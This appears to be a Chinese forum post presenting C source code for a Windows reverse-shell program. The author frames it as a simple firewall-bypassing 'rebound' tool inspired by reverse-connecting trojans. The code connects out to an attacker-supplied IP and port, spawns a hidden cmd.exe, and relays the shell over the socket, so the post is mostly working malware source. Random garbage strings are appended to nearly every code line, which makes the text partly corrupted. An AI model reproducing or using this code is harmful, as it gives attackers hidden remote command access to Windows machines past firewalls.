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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 @?%"nK  
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/* ============================== K8RloDjk_A  
Rebound port in Windows NT uV\=EDno  
By wind,2006/7 vu#:D1/BB  
===============================*/ <w:fR|O  
#include IM@Qe|5  
#include LvAIAknc  
HR V/ A  
#pragma comment(lib,"wsock32.lib") ~&q e"0  
I7Eg$J&  
void OutputShell(); M1g|m|H7  
SOCKET sClient; y1AS^'  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; ^1nf|Xj [  
>H%8~ Oek  
void main(int argc,char **argv) #".{i+3E  
{ aY?}4Bx  
WSADATA stWsaData; P$oa6`%l  
int nRet; ]O\6.>H  
SOCKADDR_IN stSaiClient,stSaiServer; L_A|  
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if(argc != 3) 3)eeUO+  
{ 6Q>w\@lF  
printf("Useage:\n\rRebound DestIP DestPort\n"); oJR!0nQ  
return; ?O3 G  
} ~/Ry=8   
+tA rH C]  
WSAStartup(MAKEWORD(2,2),&stWsaData); 9wwvh'T&NK  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ~KNxAxyVi  
3&zmy'b*:  
stSaiClient.sin_family = AF_INET; f2Slsl;  
stSaiClient.sin_port = htons(0);   C[Fh^  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); zZ wD)p?_g  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) #&/*ll)  
{ -^Lj~O  
printf("Bind Socket Failed!\n"); :kUH>O  
return; VEn%_9(]  
} q)vD "{0.  
IaJ(T>" +  
stSaiServer.sin_family = AF_INET; +u Lu.-N  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); Z*Y?"1ar  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); 5eU/ [F9  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) Ga h e-%J  
{ Kfr?sX  
printf("Connect Error!"); N" 8o0>  
return; Rza \n8  
} nOB ]?{X  
OutputShell(); mB :lp=c`  
} Jv?e ?U  
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void OutputShell() 0O:TKgb&C.  
{ )I <.DN&  
char szBuff[1024]; Jw^+t)t  
SECURITY_ATTRIBUTES stSecurityAttributes; V:+}]"yJ,  
OSVERSIONINFO stOsversionInfo; xtnB: 3  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; '(Bs<)(H  
STARTUPINFO stStartupInfo; xM*v!J,  
char *szShell; HC0puLt_  
PROCESS_INFORMATION stProcessInformation; k~gQn:.Cx  
unsigned long lBytesRead; b6i0_fOO  
E=B9FIx~<  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); COT;KC6 n  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); b 9?w _  
stSecurityAttributes.lpSecurityDescriptor = 0; 4VooU [Ka(  
stSecurityAttributes.bInheritHandle = TRUE; FD6|>G  
x=Ru@nK;  
1TVTP2&Rd  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); BAPi<U'D  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); [DE8s[i-  
+:t1PV;l  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); H Ow][}M_w  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; RWoiV10  
stStartupInfo.wShowWindow = SW_HIDE; x O)nS _I  
stStartupInfo.hStdInput = hReadPipe; 7}#vANm  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; 78Gvc~j  
" pH+YqJ$  
GetVersionEx(&stOsversionInfo); e 9:l  
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switch(stOsversionInfo.dwPlatformId) {L+?n*;CA  
{ l(`w]=t&  
case 1: bT;C8i4b\H  
szShell = "command.com"; g &za/F  
break; ;aF / <r  
default: ,aN/``j=  
szShell = "cmd.exe"; S*]IR"YL  
break;  <O*q;&9  
} !1l2KW<be  
dfrq8n]  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); !!QMcx_C#/  
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send(sClient,szMsg,77,0); ucn aj|  
while(1) mkWIJH  
{ XI0O^[/n{  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); U/ZbE?it>  
if(lBytesRead) }C'z$i( y  
{ 6>"0H/y,  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); n% *u;iG  
send(sClient,szBuff,lBytesRead,0); saV3<zgx  
} >WpPYUbH  
else *n*OVI8L  
{ wF%XM_M  
lBytesRead=recv(sClient,szBuff,1024,0); *yf+5q4t  
if(lBytesRead<=0) break; kY|_wDBSb\  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); p$ko=fo-*_  
} S:5Nh^K  
} $+mmqc8  
~E!"YkIr  
return; )rXP2Z  
}
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